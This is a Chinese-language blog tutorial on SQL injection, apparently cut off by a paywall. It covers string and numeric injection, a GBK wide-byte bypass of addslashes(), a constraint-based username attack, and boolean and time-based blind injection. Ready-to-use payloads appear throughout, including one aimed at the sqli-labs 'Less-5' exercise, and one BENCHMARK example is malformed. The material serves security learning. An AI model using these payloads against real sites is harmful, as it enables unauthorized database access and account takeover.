SQL注入两大类:
- 字符型注入
例如:http://XXX.com/sql/id=ok ,这里页面显示’ok’时,即为字符型型注入 - 数字型注入:
例如:http://XXX.com/sql/id=1 , 这里的id不需要闭合引号
简单来说,在于有无引号的区别,字符型可以是字符和数字,但是数字型只能是数字
宽字节注入
宽字节注入是一个针对GBK的注入
以下是addslashes()函数,此函数为常见防SQL注入的函数

那么绕过的方法有两种:
1.例如我们需要 ’ 进行报错,那么我们前面再次加上\,得出\’,使其转义,'生效
2.‘的url编码为%5c%27,如果我们加上%df,得出%df%5c%27,变成運’,在这里需注意的是,我们用到的是gbk格式的url编码,这里因为MySQL使用gbk进行编码的,所以可以达到目的。
基于约束的SQL攻击
适用于以下场景:
对于用户名数据库进行了位数约束,比如限制只能为20位,管理员的用户名为admin,我们不知道密码,那么我们就可以通过写入
admin x,密码:123456
这时数据库会将其认为是admin,那么我们就可以通过123456进行登陆。数据库的代码为
insert into user values('','admin x','123456')
SQL盲注
布尔盲注:
1. left(database(),1) > ‘s’
left()指得到字符串从左算起指定个数的字符
示例:left(string, n)
left(database(),1) > 's' 表示数据库名第一位是否大于's'
left(database(),2) > 'ab' 表示数据库名前两位是否大于'ab'
2. substr((select database()),1,1) = ‘a’
substr()和substring()实现功能均为截取字符串
示例:substr(string, start, length)
substring(string, start, length)
第一个参数为要处理的字符串,第二个为开始位置,第三个为截取长度
substr((select database()),1,1) = 'a' 表示查看数据库名第一位是否等于'a'
substr((select database()),2,1) = 'a' 表示查看数据库名第二位是否等于'a'
3. ascii(), ord(), mid()函数
ascii():将字符变为ascii码
ord():同ascii()
mid():截取字符串**一部分**
示例:mid(string, start, length)
eg:string = "123456" mid(str, 2, 1) 结果为2
ascii(substr((select database()),1,1)) = 108
ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1)) >98 --+
4. regexp正则注入,like匹配注入
首先注意的是,此方法不能用做mssql。但是mysql同时支持like和regexp匹配,不过方法不同。
eg:select user() regexp '^ro'
select user() like 'ro%'
具体可查看关于正则表达式详细讲解。
时间盲注:
1. If(ascii(substr(database(),1,1))>115,0,sleep(5))
if():判断然后返回值
示例:IF(condition, value_if_true, value_if_false)
Less-5/?id=1' and If(ascii(substr(database(),1,1))>115,0,sleep(10)) --+
2. select sleep(find_in_set(mid(user(), 1, 1), ‘a,w,t,r’)); ( user()为root@localhost )
find_in_set():查询str是否在strlist里
示例:FIND_IN_SET(str,strlist)
mysql> SELECT FIND_IN_SET('b', 'a,b,c,d');
-> 2 因为b 在strlist集合中放在2的位置 从1开始
下图是可被查询到的结果,我们可以看到sleep了一段时间,经测试发现,睡眠时间每次不定,不利于用作真实渗透测试

下图是未被查询到的结果,我们可以看到没有sleep

3. UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M
SG’,’by 5 seconds’)),null) FROM (select database() as t1;
上面有说到benchmark()函数和encode()函数,下面我们仔细说下
endoce():使用key对text进行加密
示例:ENCODE('text','key');
BENCHMARK():可控制次数的执行函数
示例:benchmark(count,expr) count为次数,expr为要执行的表达
式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执
行成功。这是一种边信道攻击,可在运行过程中占用大量的 cpu 资源。
SELECT

博客介绍了SQL注入的两大类,包括字符型和数字型注入。详细阐述了宽字节注入、基于约束的SQL攻击及SQL盲注(布尔盲注、时间盲注、报错盲注)的原理和绕过方法,还介绍了报错盲注中多种报错类型及相关函数的使用。
最低0.47元/天 解锁文章
26万+

被折叠的 条评论
为什么被折叠?



